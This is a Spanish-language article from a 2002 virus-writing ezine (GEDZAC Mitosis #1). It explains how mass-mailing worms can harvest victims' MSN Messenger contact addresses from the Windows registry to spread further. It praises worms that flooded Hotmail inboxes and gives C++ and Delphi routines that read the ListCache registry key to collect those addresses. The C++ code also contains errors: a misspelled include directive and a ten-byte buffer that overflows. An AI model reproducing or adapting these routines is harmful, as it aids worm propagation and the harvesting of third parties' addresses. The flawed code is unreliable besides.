Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 009
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : MSN Messenger y la propagacion masiva
Autor : XpLOaD
Válido para : Compiladores C++ para Windows y Delphi.
--------------------------------------------------------------------------------------------
> INTRODUCCIÓN
************
El email ha jugado un papel muy importante en el desarrollo de virus, mismos que han utilizado este recurso al máximo para lograr una mayor propagación y provocar grandes pérdidas económicas. Para lograr ésto, el programador se ha valido de ingeniosas técnicas para la obtención de direcciones de correo electrónico de posibles víctimas, tales como las direcciones almacenadas en la libreta de direcciones de OUTLOOK (catalogada como la más famosa) o la obtención de ellas, desde los servidores de noticias, a partir de la lectura de la cabecera de las noticias insertadas por los usuarios, pero una técnica de mas reciente creación y que ha demostrado su alto grado de efectividad al colocar a los virus dotados de esta técnica en los primeros lugares de detección, es la extracción de las direcciones de correo de cada uno de los contactos de las víctimas que poseen el MSN Messenger. Esta última técnica mencionada es de la que se hará mención en el presente artículo.
> UN POCO DE HISTORIA
*******************
La presente técnica, fue originalmente implementada por primera vez, por ErGrone en su virus I-Worm.Kitro, mismo que fue una de las primeras pruebas de que la técnica era capaz de llenar los buzones de hotmail en tan solo unas cuantas semanas, a esta creación le siguieron más virus del mismo ErGrone y otros ajenos a él, algunos de ellos son el Blink, el Supova y el Bandera Negra.
Pero el virus que realmente vino a constatar la eficacia de la técnica, fue I-Worm.Duni (Otra creación del autor de la técnica), mismo que a pesar de su gran tamaño, fue capaz de paralizar la entrada de correo electrónico de muchos usuarios de hotmail, al llenar el buzón, en tan sólo unas cuantas horas. La gran propagación que tuvo este virus, originó su puesta In The Wild y mostrando asi al mundo entero, la efectividad de la técnica.
> LA TEORÍA
*********
Para poder llevar a cabo la implementación de esta técnica, debemos saber algunos datos básicos para la obtención de las direcciones de correo. MSN Messenger, para evitar la descarga de contactos desde internet, cada vez que se inicia sesión, el programa guarda los contactos e información de los mismos en el registro de windows, todos ellos se encuentran en la siguiente ruta:
[HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service]
Dentro de esta dirección se encuentran definidas las direcciones de correo con un nombre formado por la palabra Allow, Contact o Reverse más el numero el contacto. El valor asignado del email, se encuentra definido como una cadena hexadecimal.
> LA IMPLEMENTACIÓN
*****************
Para llevar a cabo la implementación, hemos elegido hacerlo en lenguaje c y en delphi, para implementar esta técnica en cualquier otro lenguaje de programación, podrás hacerlo con simplemente modificar ligeramente cualquiera de los dos códigos. Para un lenguaje con soporte de las APIS de Windows, podrás implementar la técnica, siguiendo el mismo procedimiento aplicado en el codigo en c++.
Implementación en C++:
/*---------------------INICIO DEL CÓDIGO-------------------*/
/*Desarrollamos una función que nos regrese en una estructura,
el nombre y el email del contacto*/
#include <windows.h>
#inlcude <stdlib.h>
#define MAX_EMAILS 1000 //Numero máximo de emails a obtener
LONG OpenResource;
HKEY DirResource;
int FindContactsMSN(char *ListMails[MAX_EMAILS]); //Prototipo de la función
//El parámetro ListMails deve ser un puntero a un arreglo char de [MAX_EMAILS]
int FindContactsMSN(char *ListMails[MAX_EMAILS])
{
int i;
//Comprobamos si esta instalado MSN Messenger, para ésto verificamos
//si existe la ruta donde se almacenan los datos de los contactos.
OpenResource = RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service",
0, KEY_READ,
&DirResource);
if(OpenResource == ERROR_SUCCESS)
{
DWORD ValueType;
DWORD ValueSize;
BYTE *DataValue;
char tmpEmail[10];
char tmpNMails[5];
int nMails = 0;
//Mediante un bucle obtenemos todos los datos de los contactos
//que esten disponibles
while(nMails < MAX_EMAILS)
{
//Formamos la cadena correspondiente para la lectura
//del siguiente contacto
strcpy(tmpEmail, "Allow");
itoa(nMails, tmpNMails, 10);
strcat(tmpEmail, tmpNMails);
//Obtenemos la longitud de los datos a leer
if(RegQueryValueEx( DirResource,
tmpEmail,
NULL,
&ValueType,
NULL,
&ValueSize) == ERROR_SUCCESS)
{
//Reservamos memoria nesesaria para almacenar los datos
DataValue = new BYTE [ValueSize];
if(DataValue != NULL)
{
//Leemos la información del contacto
RegQueryValueEx( DirResource,
tmpEmail,
NULL,
&ValueType,
DataValue,
&ValueSize);
i = strlen((char *)DataValue);
ListMails[nMails] = new char [i+1];
strcpy(ListMails[nMails], (char *)DataValue);
}
delete [] DataValue;
}
nMails++;
}
}
return 0;
}
/*---------------------FIN DEL CÓDIGO-------------------*/
Ejemplo de uso de la función anterior:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char *xp[MAX_EMAILS];
//El arreglo xp recibe una lista de todos los emails de los contactos encontrados
FindContactsMSN(xp);
return 0;
}
Implementación en Delphi:
function LeerReg(LaKey: HKEY; Rutakey, Valor: String): String;
var
ValorRet: array[0..1500] of Char;
TamaDato: Integer;
llaveactual: HKEY;
begin
RegOpenKeyEx(LaKey, PChar(Rutakey), 0, KEY_ALL_ACCESS, llaveactual);
TamaDato := 1501;
RegQueryValueEx(llaveactual, PChar(Valor), nil, nil, @ValorRet[0], @TamaDato);
RegCloseKey(llaveactual);
Result := String(ValorRet);
end;
function uncontacto:integer;
var
direcc:string;
begin
direcc := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MessengerService\ListCache\.NET Messenger Service','allow1');
end;
Nota: En las versiones de Messenger mas recientes la ruta del registro donde se encuntran almacenados los contactos es: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\ListCache\.NET Messenger Service
(C) MITOSIS E-Zine/GEDZAC 2002